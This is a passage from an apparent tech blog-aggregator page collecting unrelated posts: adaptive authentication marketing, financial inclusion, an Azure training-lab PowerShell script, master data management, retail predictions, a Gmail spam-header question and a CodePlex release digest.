difficult for me. Now let's say that I login from a Starbucks in Uzbekistan, and I transfer $2,500. What should my bank do now? Should they stop the transaction? Should they call my home number? (My former bank did exactly this once when I was taking money out of an ATM on a business trip, when I had provided my cell phone number as my primary contact. When I asked them why they called my home number rather than my cell, they told me that their “policy” is to call the home number. If I'm on the road, what exactly is the use of trying to reach me at home to verify my transaction?) But, back to Uzbekistan… Should my bank assume that I am happily at home in New Jersey, and someone is trying to hack into my account? Perhaps they think they are protecting me, but I wouldn’t be very happy if I happened to be traveling on business in Central Asia. What if my bank were to automatically analyze my behavior and calculate a risk score? Clearly, this scenario would be outside of my typical behavior, so my risk score would necessitate something more than a simple login and password. Perhaps, in this case, a one-time password to my cell phone would prove that this is not just some hacker half way around the world. But, what if you're not a bank? Do you need this level of security? If you want to be a business that is easy to deal with while also protecting your customers, then of course you do. You want your customers to trust you, but you also want them to enjoy doing business with you. Make it easy for them to do business with you, and they’ll come back, and perhaps even Tweet about it, or Like you, and then their friends will follow. How can Oracle help? Oracle has the technology and expertise to help you to grown your business with security. Oracle Adaptive Access Manager will help you to prevent fraud while making it easier for your customers to do business with you by providing the risk analysis I discussed above, step-up authentication, and much more. Oracle Mobile and Social Access Service will help you to secure mobile access to applications by expanding on your existing back-end identity management infrastructure, and allowing your customers to transact business with you using the social media accounts they already know. You also have device fingerprinting and metrics to help you to grow your business securely. Security is not just a cost anymore. It’s a way to set your business apart. With Oracle’s help, you can be the business that everyone’s tweeting about. Image courtesy of Flickr user shareski

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  • Is Financial Inclusion an Obligation or an Opportunity for Banks?

    - by tushar.chitra
    Why should banks care about financial inclusion? First, the statistics, I think this will set the tone for this blog post. There are close to 2.5 billion people who are excluded from the banking stream and out of this, 2.2 billion people are from the continents of Africa, Latin America and Asia (McKinsey on Society: Global Financial Inclusion). However, this is not just a third-world phenomenon. According to Federal Deposit Insurance Corp (FDIC), in the US, post 2008 financial crisis, one family out of five has either opted out of the banking system or has been moved out (American Banker). Moving this huge unbanked population into mainstream banking is both an opportunity and a challenge for banks. An obvious opportunity is the significant untapped customer base that banks can target, so is the positive brand equity a bank can build by fulfilling its social responsibilities. Also, as banks target the cost-conscious unbanked customer, they will be forced to look at ways to offer cost-effective products and services, necessitating technology upgrades and innovations. However, cost is not the only hurdle in increasing the adoption of banking services. The potential users need to be convinced of the benefits of banking and banks will also face stiff competition from unorganized players. Finally, the banks will have to believe in the viability of this business opportunity, and not treat financial inclusion as an obligation. In what ways can banks target the unbanked For financial inclusion to be a success, banks should adopt innovative business models to develop products that address the stated and unstated needs of the unbanked population and also design delivery channels that are cost effective and viable in the long run. Through business correspondents and facilitators In rural and remote areas, one of the major hurdles in increasing banking penetration is connectivity and accessibility to banking services, which makes last mile inclusion a daunting challenge. To address this, banks can avail the services of business correspondents or facilitators. This model allows banks to establish greater connectivity through a trusted and reliable intermediary. In India, for instance, banks can leverage the local Kirana stores (the mom & pop stores) to service rural and remote areas. With a supportive nudge from the central bank, the commercial banks can enlist these shop owners as business correspondents to increase their reach. Since these neighborhood stores are acquainted with the local population, they can help banks manage the KYC norms, besides serving as a conduit for remittance. Banks also have an opportunity over a period of time to cross-sell other financial products such as micro insurance, mutual funds and pension products through these correspondents. To exercise greater operational control over the business correspondents, banks can also adopt a combination of branch and business correspondent models to deliver financial inclusion. Through mobile devices According to a 2012 world bank report on financial inclusion, out of a world population of 7 billion, over 5 billion or 70% have mobile phones and only 2 billion or 30% have a bank account. What this means for banks is that there is scope for them to leverage this phenomenal growth in mobile usage to serve the unbanked population. Banks can use mobile technology to service the basic banking requirements of their customers with no frills accounts, effectively bringing down the cost per transaction. As I had discussed in my earlier post on mobile payments, though non-traditional players have taken the lead in P2P mobile payments, banks still hold an edge in terms of infrastructure and reliability. Through crowd-funding According to the Crowdfunding Industry Report by Massolution, the global crowdfunding industry raised $2.7 billion in 2012, and is projected to grow to $5.1 billion in 2013. With credit policies becoming tighter and banks becoming more circumspect in terms of loan disbursals, crowdfunding has emerged as an alternative channel for lending. Typically, these initiatives target the unbanked population by offering small loans that are unviable for larger banks. Though a significant proportion of crowdfunding initiatives globally are run by non-banking institutions, banks are also venturing into this space. The next step towards inclusive finance Banks by themselves cannot make financial inclusion a success. There is a need for a whole ecosystem that is supportive of this mission. The policy makers, that include the regulators and government bodies, must be in sync, the IT solution providers must put on their thinking caps to come out with innovative products and solutions, communication channels such as internet and mobile need to expand their reach, and the media and the public need to play an active part. The other challenge for financial inclusion is from the banks themselves. While it is true that financial inclusion will unleash a hitherto hugely untapped market, the normal banking model may be found wanting because of issues such as flexibility, convenience and reliability. The business will be viable only when there is a focus on increasing the usage of existing infrastructure and that is possible when the banks can offer the entire range of products and services to the large number of users of essential banking services. Apart from these challenges, banks will also have to quickly master and replicate the business model to extend their reach to the remotest regions in their respective geographies. They will need to ensure that the transactions deliver a viable business benefit to the bank. For tapping cross-sell opportunities, banks will have to quickly roll-out customized and segment-specific products. The bank staff should be brought in sync with the business plan by convincing them of the viability of the business model and the need for a business correspondent delivery model. Banks, in collaboration with the government and NGOs, will have to run an extensive financial literacy program to educate the unbanked about the benefits of banking. Finally, with the growing importance of retail banking and with many unconventional players eyeing the opportunity in payments and other lucrative areas of banking, banks need to understand the importance of micro and small branches. These micro and small branches can help banks increase their presence without a huge cost burden, provide bankers an opportunity to cross sell micro products and offer a window of opportunity for the large non-banked population to transact without any interference from intermediaries. These branches can also help diminish the role of the unorganized financial sector, such as local moneylenders and unregistered credit societies. This will also help banks build a brand awareness and loyalty among the users, which by itself has a cascading effect on the business operations, especially among the rural and un-banked centers. In conclusion, with the increasingly competitive banking sector facing frequent slowdowns and downturns, the unbanked population presents a huge opportunity for banks to enhance their customer base and fulfill their social responsibility.

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  • Creating a Training Lab on Windows Azure

    - by Michael Stephenson
    Originally posted on: http://geekswithblogs.net/michaelstephenson/archive/2013/06/17/153149.aspxThis week we are preparing for a training course that Alan Smith will be running for the support teams at one of my customers around Windows Azure. In order to facilitate the training lab we have a few prerequisites we need to handle. One of the biggest ones is that although the support team all have MSDN accounts the local desktops they work on are not ideal for running most of the labs as we want to give them some additional developer background training around Azure. Some recent Azure announcements really help us in this area: MSDN software can now be used on Azure VM You don't pay for Azure VM's when they are no longer used  Since the support team only have limited experience of Windows Azure and the organisation also have an Enterprise Agreement we decided it would be best value for money to spin up a training lab in a subscription on the EA and then we can turn the machines off when we are done. At the same time we would be able to spin them back up when the users need to do some additional lab work once the training course is completed. In order to achieve this I wanted to create a powershell script which would setup my training lab. The aim was to create 18 VM's which would be based on a prebuilt template with Visual Studio and the Azure development tools. The script I used is described below The Start & Variables The below text will setup the powershell environment and some variables which I will use elsewhere in the script. It will also import the Azure Powershell cmdlets. You can see below that I will need to download my publisher settings file and know some details from my Azure account. At this point I will assume you have a basic understanding of Azure & Powershell so already know how to do this. Set-ExecutionPolicy Unrestrictedcls $startTime = get-dateImport-Module "C:\Program Files (x86)\Microsoft SDKs\Windows Azure\PowerShell\Azure\Azure.psd1"# Azure Publisher Settings $azurePublisherSettings = '<Your settings file>.publishsettings'  # Subscription Details $subscriptionName = "<Your subscription name>" $defaultStorageAccount = "<Your default storage account>"  # Affinity Group Details $affinityGroup = '<Your affinity group>' $dataCenter = 'West Europe' # From Get-AzureLocation  # VM Details $baseVMName = 'TRN' $adminUserName = '<Your admin username>' $password = '<Your admin password>' $size = 'Medium' $vmTemplate = '<The name of your VM template image>' $rdpFilePath = '<File path to save RDP files to>' $machineSettingsPath = '<File path to save machine info to>'    Functions In the next section of the script I have some functions which are used to perform certain actions. The first is called CreateVM. This will do the following actions: If the VM already exists it will be deleted Create the cloud service Create the VM from the template I have created Add an endpoint so we can RDP to them all over the same port Download the RDP file so there is a short cut the trainees can easily access the machine via Write settings for the machine to a log file  function CreateVM($machineNo) { # Specify a name for the new VM $machineName = "$baseVMName-$machineNo" Write-Host "Creating VM: $machineName"       # Get the Azure VM Image      $myImage = Get-AzureVMImage $vmTemplate   #If the VM already exists delete and re-create it $existingVm = Get-AzureVM -Name $machineName -ServiceName $serviceName if($existingVm -ne $null) { Write-Host "VM already exists so deleting it" Remove-AzureVM -Name $machineName -ServiceName $serviceName }   "Creating Service" $serviceName = "bupa-azure-train-$machineName" Remove-AzureService -Force -ServiceName $serviceName New-AzureService -Location $dataCenter -ServiceName $serviceName   Write-Host "Creating VM: $machineName" New-AzureQuickVM -Windows -name $machineName -ServiceName $serviceName -ImageName $myImage.ImageName -InstanceSize $size -AdminUsername $adminUserName -Password $password  Write-Host "Updating the RDP endpoint for $machineName" Get-AzureVM -name $machineName -ServiceName $serviceName ` | Add-AzureEndpoint -Name RDP -Protocol TCP -LocalPort 3389 -PublicPort 550 ` | Update-AzureVM    Write-Host "Get the RDP File for machine $machineName" $machineRDPFilePath = "$rdpFilePath\$machineName.rdp" Get-AzureRemoteDesktopFile -name $machineName -ServiceName $serviceName -LocalPath "$machineRDPFilePath"   WriteMachineSettings "$machineName" "$serviceName" }    The delete machine settings function is used to delete the log file before we start re-running the process.  function DeleteMachineSettings() { Write-Host "Deleting the machine settings output file" [System.IO.File]::Delete("$machineSettingsPath"); }    The write machine settings function will get the VM and then record its details to the log file. The importance of the log file is that I can easily provide the information for all of the VM's to our infrastructure team to be able to configure access to all of the VM's    function WriteMachineSettings([string]$vmName, [string]$vmServiceName) { Write-Host "Writing to the machine settings output file"   $vm = Get-AzureVM -name $vmName -ServiceName $vmServiceName $vmEndpoint = Get-AzureEndpoint -VM $vm -Name RDP   $sb = new-object System.Text.StringBuilder $sb.Append("Service Name: "); $sb.Append($vm.ServiceName); $sb.Append(", "); $sb.Append("VM: "); $sb.Append($vm.Name); $sb.Append(", "); $sb.Append("RDP Public Port: "); $sb.Append($vmEndpoint.Port); $sb.Append(", "); $sb.Append("Public DNS: "); $sb.Append($vmEndpoint.Vip); $sb.AppendLine(""); [System.IO.File]::AppendAllText($machineSettingsPath, $sb.ToString());  } # end functions    Rest of Script In the rest of the script it is really just the bit that orchestrates the actions we want to happen. It will load the publisher settings, select the Azure subscription and then loop around the CreateVM function and create 16 VM's  Import-AzurePublishSettingsFile $azurePublisherSettings Set-AzureSubscription -SubscriptionName $subscriptionName -CurrentStorageAccount $defaultStorageAccount Select-AzureSubscription -SubscriptionName $subscriptionName  DeleteMachineSettings    "Starting creating Bupa International Azure Training Lab" $numberOfVMs = 16  for ($index=1; $index -le $numberOfVMs; $index++) { $vmNo = "$index" CreateVM($vmNo); }    "Finished creating Bupa International Azure Training Lab" # Give it a Minute Start-Sleep -s 60  $endTime = get-date "Script run time " + ($endTime - $startTime)    Conclusion As you can see there is nothing too fancy about this script but in our case of creating a small isolated training lab which is not connected to our corporate network then we can easily use this to provision the lab. Im sure if this is of use to anyone you can easily modify it to do other things with the lab environment too. A couple of points to note are that there are some soft limits in Azure about the number of cores and services your subscription can use. You may need to contact the Azure support team to be able to increase this limit. In terms of the real business value of this approach, it was not possible to use the existing desktops to do the training on, and getting some internal virtual machines would have been relatively expensive and time consuming for our ops team to do. With the Azure option we are able to spin these machines up for a temporary period during the training course and then throw them away when we are done. We expect the costing of this test lab to be very small, especially considering we have EA pricing. As a ball park I think my 18 lab VM training environment will cost in the region of $80 per day on our EA. This is a fraction of the cost of the creation of a single VM on premise.

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  • Five Key Strategies in Master Data Management

    - by david.butler(at)oracle.com
    Here is a very interesting Profit Magazine article on MDM: A recent customer survey reveals the deleterious effects of data fragmentation. by Trevor Naidoo, December 2010   Across industries and geographies, IT organizations have grown in complexity, whether due to mergers and acquisitions, or decentralized systems supporting functional or departmental requirements. With systems architected over time to support unique, one-off process needs, they are becoming costly to maintain, and the Internet has only further added to the complexity. Data fragmentation has become a key inhibitor in delivering flexible, user-friendly systems. The Oracle Insight team conducted a survey assessing customers' master data management (MDM) capabilities over the past two years to get a sense of where they are in terms of their capabilities. The responses, by 27 respondents from six different industries, reveal five key areas in which customers need to improve their data management in order to get better financial results. 1. Less than 15 percent of organizations surveyed understand the sources and quality of their master data, and have a roadmap to address missing data domains. Examples of the types of master data domains referred to are customer, supplier, product, financial and site. Many organizations have multiple sources of master data with varying degrees of data quality in each source -- customer data stored in the customer relationship management system is inconsistent with customer data stored in the order management system. Imagine not knowing how many places you stored your customer information, and whether a customer's address was the most up to date in each source. In fact, more than 55 percent of the respondents in the survey manage their data quality on an ad-hoc basis. It is important for organizations to document their inventory of data sources and then profile these data sources to ensure that there is a consistent definition of key data entities throughout the organization. Some questions to ask are: How do we define a customer? What is a product? How do we define a site? The goal is to strive for one common repository for master data that acts as a cross reference for all other sources and ensures consistent, high-quality master data throughout the organization. 2. Only 18 percent of respondents have an enterprise data management strategy to ensure that data is treated as an asset to the organization. Most respondents handle data at the department or functional level and do not have an enterprise view of their master data. The sales department may track all their interactions with customers as they move through the sales cycle, the service department is tracking their interactions with the same customers independently, and the finance department also has a different perspective on the same customer. The salesperson may not be aware that the customer she is trying to sell to is experiencing issues with existing products purchased, or that the customer is behind on previous invoices. The lack of a data strategy makes it difficult for business users to turn data into information via reports. Without the key building blocks in place, it is difficult to create key linkages between customer, product, site, supplier and financial data. These linkages make it possible to understand patterns. A well-defined data management strategy is aligned to the business strategy and helps create the governance needed to ensure that data stewardship is in place and data integrity is intact. 3. Almost 60 percent of respondents have no strategy to integrate data across operational applications. Many respondents have several disparate sources of data with no strategy to keep them in sync with each other. Even though there is no clear strategy to integrate the data (see #2 above), the data needs to be synced and cross-referenced to keep the business processes running. About 55 percent of respondents said they perform this integration on an ad hoc basis, and in many cases, it is done manually with the help of Microsoft Excel spreadsheets. For example, a salesperson needs a report on global sales for a specific product, but the product has different product numbers in different countries. Typically, an analyst will pull all the data into Excel, manually create a cross reference for that product, and then aggregate the sales. The exact same procedure has to be followed if the same report is needed the following month. A well-defined consolidation strategy will ensure that a central cross-reference is maintained with updates in any one application being propagated to all the other systems, so that data is synchronized and up to date. This can be done in real time or in batch mode using integration technology. 4. Approximately 50 percent of respondents spend manual efforts cleansing and normalizing data. Information stored in various systems usually follows different standards and formats, making it difficult to match the data. A customer's address can be stored in different ways using a variety of abbreviations -- for example, "av" or "ave" for avenue. Similarly, a product's attributes can be stored in a number of different ways; for example, a size attribute can be stored in inches and can also be entered as "'' ". These types of variations make it difficult to match up data from different sources. Today, most customers rely on manual, heroic efforts to match, cleanse, and de-duplicate data -- clearly not a scalable, sustainable model. To solve this challenge, organizations need the ability to standardize data for customers, products, sites, suppliers and financial accounts; however, less than 10 percent of respondents have technology in place to automatically resolve duplicates. It is no wonder, therefore, that we get communications about products we don't own, at addresses we don't reside, and using channels (like direct mail) we don't like. An all-too-common example of a potential challenge follows: Customers end up receiving duplicate communications, which not only impacts customer satisfaction, but also incurs additional mailing costs. Cleansing, normalizing, and standardizing data will help address most of these issues. 5. Only 10 percent of respondents have the ability to share data that was mastered in a master data hub. Close to 60 percent of respondents have efforts in place that profile, standardize and cleanse data manually, and the output of these efforts are stored in spreadsheets in various parts of the organization. This valuable information is not easily shared with the rest of the organization and, more importantly, this enriched information cannot be sent back to the source systems so that the data is fixed at the source. A key benefit of a master data management strategy is not only to clean the data, but to also share the data back to the source systems as well as other systems that need the information. Aside from the source systems, another key beneficiary of this data is the business intelligence system. Having clean master data as input to business intelligence systems provides more accurate and enhanced reporting.  Characteristics of Stellar MDM When deciding on the right master data management technology, organizations should look for solutions that have four main characteristics: enterprise-grade MDM performance complete technology that can be rapidly deployed and addresses multiple business issues end-to-end MDM process management with data quality monitoring and assurance pre-built MDM business relevant applications with data stores and workflows These master data management capabilities will aid in moving closer to a best-practice maturity level, delivering tremendous efficiencies and savings as well as revenue growth opportunities as a result of better understanding your customers.  Trevor Naidoo is a senior director in Industry Strategy and Insight at Oracle. 

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  • Reviewing Retail Predictions for 2011

    - by David Dorf
    Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} I've been busy thinking about what 2012 and beyond will look like for retail, and I have some interesting predictions to share.  But before I go there, let’s first review this year’s predictions before making new ones for 2012. 1. Alternate Payments We've seen several alternate payment schemes emerge over the last two years, and 2011 may be the year one of them takes hold. Any competition that can drive down fees will be good for everyone. I'm betting that Apple will add NFC chips to their next version of the iPhone, then enable payments in stores using iTunes accounts on the backend. Paypal will continue to make inroads, and Isis will announce a pilot. The iPhone 4S did not contain an NFC chip, so we’ll have to continuing waiting for the iPhone 5. PayPal announced its moving into in-store payments, and Google launched its wallet in selected cities.  Overall I think the payment scene is heating up and that trend will continue. 2. Engineered Systems The industry is moving toward purpose-built appliances that are optimized across the entire stack. Oracle calls these "engineered systems" and the first two examples are Exadata and Exalogic, but there are other examples from other vendors. These are particularly important to the retail industry because of the volume of data that must be processed. There should be continued adoption in 2011. Oracle reports that Exadata is its fasting growing product, and at the recent OpenWorld it announced the SuperCluster and Exalytics products, both continuing the engineered systems trend. SAP’s HANA continues to receive attention, and IBM also seems to be moving in this direction. 3. Social Analytics There are lots of tools that provide insight into how a brand is perceived across popular internet sites, but as far as I know, these tools are not industry specific. The next step needs to mine the data and determine how it should influence retail operations. The data needs to help retailers determine how they create promotions, which products to stock, and how to keep consumers engaged. Social data alone does not provide the answers, but its one more data point that will help retailers make better decisions. Look for some vendor consolidation to help make this happen. In March, Salesforce.com acquired leading social monitoring vendor Radian6 and followed up with acquisitions of Heroku and Model Metrics. The notion of Social CRM seems to be going more mainstream now. 4. 2-D Barcodes Look for more QRCodes on shelf-tags, in newspaper circulars, and on billboards. It's a great portal from the physical world into the digital one that buys us time until augmented reality matures further. Nobody wants to type "www", backslash, and ".com" on their phones. QRCodes are everywhere. ‘Nuff said. 5. In the words of Microsoft, "To the Cloud!" My favorite "cloud application" is Evernote. If you take notes on your work laptop, you will inevitably need those notes on your home PC. And if you manage to solve that problem, you'll need to access them from your mobile phone. Evernote stores your notes in the cloud and provides easy ways to access them. Being able to access a service from anywhere and not having to worry about backups, upgrades, etc. is great. Retailers will start to rely on cloud services, both public and private, in the coming year. There were no shortage of announcements in this area: Amazon’s cloud-based Kindle Fire, Apple’s iCloud, Oracle’s Public Cloud, etc. I saw an interesting presentation showing how BevMo moved their systems to the cloud.  Seems like retailers are starting to consider the cloud for specific uses. 6. F-CommerceTop of Form Move over "E" and "M" so we can introduce "F-Commerce," which should go mainstream in 2011. Already several retailers have created small stores on Facebook, and it won't be long before Facebook becomes a full-fledged channel in the omni-channel world of retail. The battle between Facebook and Google will heat up over retail, where both stand to make lots of money. JCPenney and ASOS both put their entire catalogs on Facebook, and lots of other retailers have connected Facebook to their e-commerce site. I still think selling from the newsfeed is the best approach, and several retailers are trying that approach as well. I just don’t see Google+ as a threat to Facebook, so I think that battle is over.  I called 2011 The Year of F-Commerce, and that was probably accurate. Its good to look back at predictions, but we also have to think about what was missed.  I didn't see Amazon entering the tablet business with such a splash, although in hindsight it was obvious. Nor did I think HP would fall so far so fast.  Look for my 2012 predictions coming soon.

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  • Why does Google mark one e-mail as spam while does not the other?

    - by nKn
    I've a Postfix installation which works fine, I don't get any trouble with mails sent through a mail client (in my case, Thunderbird or RoundCube) when the To: address is a GMail account. However, I recently needed to use the PHPMailer tool to send some e-mails to some GMail accounts, so I configured an account to be used via SASL authentication + TLS. I don't mean mass mailing, just 2-3 mails. If I send the e-mail from the Thunderbird or RoundCube clients, the mail is not marked as spam. However, if I use PHPMailer, it always gets catalogued as spam. So I compared both headers and I just can't find the reason why the second is marked as spam while the first one is just ok. The first header sent from a mail client which is not marked as spam: Delivered-To: [email protected] Received: by 10.76.153.102 with SMTP id vf6csp230573oab; Tue, 19 Aug 2014 11:08:19 -0700 (PDT) X-Received: by 10.60.23.39 with SMTP id j7mr45544050oef.20.1408471699715; Tue, 19 Aug 2014 11:08:19 -0700 (PDT) Return-Path: <[email protected]> Received: from mail.mydomain.com (X.ip-92-222-X.eu. [92.222.X.X]) by mx.google.com with ESMTPS id t5si27115082oej.10.2014.08.19.11.08.18 for <[email protected]> (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 19 Aug 2014 11:08:19 -0700 (PDT) Received-SPF: pass (google.com: domain of [email protected] designates 92.222.X.X as permitted sender) client-ip=92.222.X.X; Authentication-Results: mx.google.com; spf=pass (google.com: domain of [email protected] designates 92.222.X.X as permitted sender) [email protected]; dkim=pass (test mode) [email protected] Received: by mail.mydomain.com (Postfix, from userid 111) id D8F69120293D; Tue, 19 Aug 2014 19:08:17 +0100 (BST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mydomain.com; s=mail; t=1408471697; bh=wKMX9gkQ7tCLv8ezrG5t4bICm/SSLQsNfTdZMToksWw=; h=Date:From:To:Subject:From; b=qRNcYVdmk+n3D1uuv0FInTx7/LzH2ojck9DgCmabFPvfke233lkojUOjezCUGx7iV DL8EayZ28mzzzHpB7ETeMzop/5OS3BmvFtGKVD9gzc78cDIFXTDoRFAnkRWDR2IOxI SOn5tiyODTFpkbDgJOndzQ6qL5K0S9ASNGCZrNL4= X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on vpsX.ovh.net X-Spam-Level: X-Spam-Status: No, score=-1.0 required=3.0 tests=ALL_TRUSTED,T_DKIM_INVALID autolearn=ham autolearn_force=no version=3.4.0 Received: from [192.168.1.111] (unknown [77.231.X.X]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: [email protected]) by mail.mydomain.com (Postfix) with ESMTPSA id 910341202624 for <[email protected]>; Tue, 19 Aug 2014 19:08:17 +0100 (BST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mydomain.com; s=mail; t=1408471697; bh=wKMX9gkQ7tCLv8ezrG5t4bICm/SSLQsNfTdZMToksWw=; h=Date:From:To:Subject:From; b=qRNcYVdmk+n3D1uuv0FInTx7/LzH2ojck9DgCmabFPvfke233lkojUOjezCUGx7iV DL8EayZ28mzzzHpB7ETeMzop/5OS3BmvFtGKVD9gzc78cDIFXTDoRFAnkRWDR2IOxI SOn5tiyODTFpkbDgJOndzQ6qL5K0S9ASNGCZrNL4= Message-ID: <[email protected]> Date: Tue, 19 Aug 2014 19:08:24 +0100 From: My Name <[email protected]> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: My other account <[email protected]> Subject: . Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit . The second header sent from PHPMailer which is always marked as spam: Delivered-To: [email protected] Received: by 10.76.153.102 with SMTP id vf6csp230832oab; Tue, 19 Aug 2014 11:12:10 -0700 (PDT) X-Received: by 10.60.121.67 with SMTP id li3mr44086252oeb.17.1408471930520; Tue, 19 Aug 2014 11:12:10 -0700 (PDT) Return-Path: <[email protected]> Received: from mail.mydomain.com (X.ip-92-222-X.eu. [92.222.X.X]) by mx.google.com with ESMTPS id w8si27103806obn.30.2014.08.19.11.12.10 for <[email protected]> (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 19 Aug 2014 11:12:10 -0700 (PDT) Received-SPF: pass (google.com: domain of [email protected] designates 92.222.X.X as permitted sender) client-ip=92.222.X.X; Authentication-Results: mx.google.com; spf=pass (google.com: domain of [email protected] designates 92.222.X.X as permitted sender) [email protected]; dkim=pass (test mode) [email protected] Received: by mail.mydomain.com (Postfix, from userid 111) id 1999D120293D; Tue, 19 Aug 2014 19:12:09 +0100 (BST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mydomain.com; s=mail; t=1408471929; bh=N1JuHq1S+8GrjHcEK3xn8P1JS+ygEBv5LKe0BiXuVJo=; h=Date:To:From:Reply-to:Subject:From; b=K7tcPyArzSTY91VEw6mAAFtDurSGwgTLGkfUZdC5mqsg0g/1LzmZkgwdjj4NdJa6M E2kDz3dwYN8FcZmbampJYFXxj4NQVtSnzjiWV40rpfOFqD2rXDGNIyB2QOjBZZ4WK3 7s4lyoJ/BrdQH4en8ctLVsDHed/KpHD4iGFEl67E= X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on vpsX.ovh.net X-Spam-Level: X-Spam-Status: No, score=-1.0 required=3.0 tests=ALL_TRUSTED,T_DKIM_INVALID autolearn=ham autolearn_force=no version=3.4.0 Received: from rpi.mydomain.com (unknown [77.231.X.X]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: [email protected]) by mail.mydomain.com (Postfix) with ESMTPSA id B42AF1202624 for <[email protected]>; Tue, 19 Aug 2014 19:12:08 +0100 (BST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mydomain.com; s=mail; t=1408471928; bh=N1JuHq1S+8GrjHcEK3xn8P1JS+ygEBv5LKe0BiXuVJo=; h=Date:To:From:Reply-to:Subject:From; b=iXPM0tS36swudPTT4FOHHtPi5Ll6LbR60kNqCinZ8utcWoFE31SFTpoMEq5aCM5ux wQMdFiN8c6vkjRGabmvqFTTIbwJsrToHo/4+Lt5HEBoQQE2Y3T+xGmnmGAHCS6stKB yb7SVmtrIAsVtSMKA8VYIbmu2oYqV3afYt7g0OMQ= Date: Tue, 19 Aug 2014 20:12:07 +0200 To: [email protected] From: Trying another account <[email protected]> Reply-to: Trying another account <[email protected]> Subject: . Message-ID: <[email protected]> X-Priority: 3 X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="UTF-8" . I also tried: Adding a User-Agent header to match the first one. Removing the X-Mailer header. No one of them made a difference. Is there some significant difference which is making the second e-mail to be marked as spam by Google?

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  • CodePlex Daily Summary for Monday, August 11, 2014

    CodePlex Daily Summary for Monday, August 11, 2014Popular ReleasesSpace Engineers Server Manager: SESM V1.15: V1.15 - Updated Quartz library - Correct a bug in the new mod managment - Added a warning if you have backup enabled on a server but no static map configuredAspose for Apache POI: Missing Features of Apache POI SS - v 1.2: Release contain the Missing Features in Apache POI SS SDK in comparison with Aspose.Cells What's New ? Following Examples: Create Pivot Charts Detect Merged Cells Sort Data Printing Workbooks Feedback and Suggestions Many more examples are available at Aspose Docs. Raise your queries and suggest more examples via Aspose Forums or via this social coding site.AngularGo (SPA Project Template): AngularGo.VS2013.vsix: First ReleaseTouchmote: Touchmote 1.0 beta 13: Changes Less GPU usage Works together with other Xbox 360 controls Bug fixesPublic Key Infrastructure PowerShell module: PowerShell PKI Module v3.0: Important: I would like to hear more about what you are thinking about the project? I appreciate that you like it (2000 downloads over past 6 months), but may be you have to say something? What do you dislike in the module? Maybe you would love to see some new functionality? Tell, what you think! Installation guide:Use default installation path to install this module for current user only. To install this module for all users — enable "Install for all users" check-box in installation UI ...Modern UI for WPF: Modern UI 1.0.6: The ModernUI assembly including a demo app demonstrating the various features of Modern UI for WPF. BREAKING CHANGE LinkGroup.GroupName renamed to GroupKey NEW FEATURES Improved rendering on high DPI screens, including support for per-monitor DPI awareness available in Windows 8.1 (see also Per-monitor DPI awareness) New ModernProgressRing control with 8 builtin styles New LinkCommands.NavigateLink routed command New Visual Studio project templates 'Modern UI WPF App' and 'Modern UI W...ClosedXML - The easy way to OpenXML: ClosedXML 0.74.0: Multiple thread safe improvements including AdjustToContents XLHelper XLColor_Static IntergerExtensions.ToStringLookup Exception now thrown when saving a workbook with no sheets, instead of creating a corrupt workbook Fix for hyperlinks with non-ASCII Characters Added basic workbook protection Fix for error thrown, when a spreadsheet contained comments and images Fix to Trim function Fix Invalid operation Exception thrown when the formula functions MAX, MIN, and AVG referenc...SEToolbox: SEToolbox 01.042.019 Release 1: Added RadioAntenna broadcast name to ship name detail. Added two additional columns for Asteroid material generation for Asteroid Fields. Added Mass and Block number columns to main display. Added Ellipsis to some columns on main display to reduce name confusion. Added correct SE version number in file when saving. Re-added in reattaching Motor when drag/dropping or importing ships (KeenSH have added RotorEntityId back in after removing it months ago). Added option to export and r...jQuery List DragSort: jQuery List DragSort 0.5.2: Fixed scrollContainer removing deprecated use of $.browser so should now work with latest version of jQuery. Added the ability to return false in dragEnd to revert sort order Project changes Added nuget package for dragsort https://www.nuget.org/packages/dragsort Converted repository from SVN to MercurialBraintree Client Library: Braintree 2.32.0: Allow credit card verification options to be passed outside of the nonce for PaymentMethod.create Allow billingaddress parameters and billingaddress_id to be passed outside of the nonce for PaymentMethod.create Add Subscriptions to paypal accounts Add PaymentMethod.update Add failonduplicatepaymentmethod option to PaymentMethod.create Add support for dispute webhooksThe Mario Kart 8 App: V1.0.2.1: First Codeplex release. WINDOWS INSTALLER ONLYAspose Java for Docx4j: Aspose.Words vs Docx4j - v 1.0: Release contain the Code Comparison for Features in Docx4j SDK and Aspose.Words What's New ?Following Examples: Accessing Document Properties Add Bookmarks Convert to Formats Delete Bookmarks Working with Comments Feedback and Suggestions Many more examples are available at Aspose Docs. Raise your queries and suggest more examples via Aspose Forums or via this social coding site.File System Security PowerShell Module: NTFSSecurity 2.4.1: Add-Access and Remove-Access now take multiple 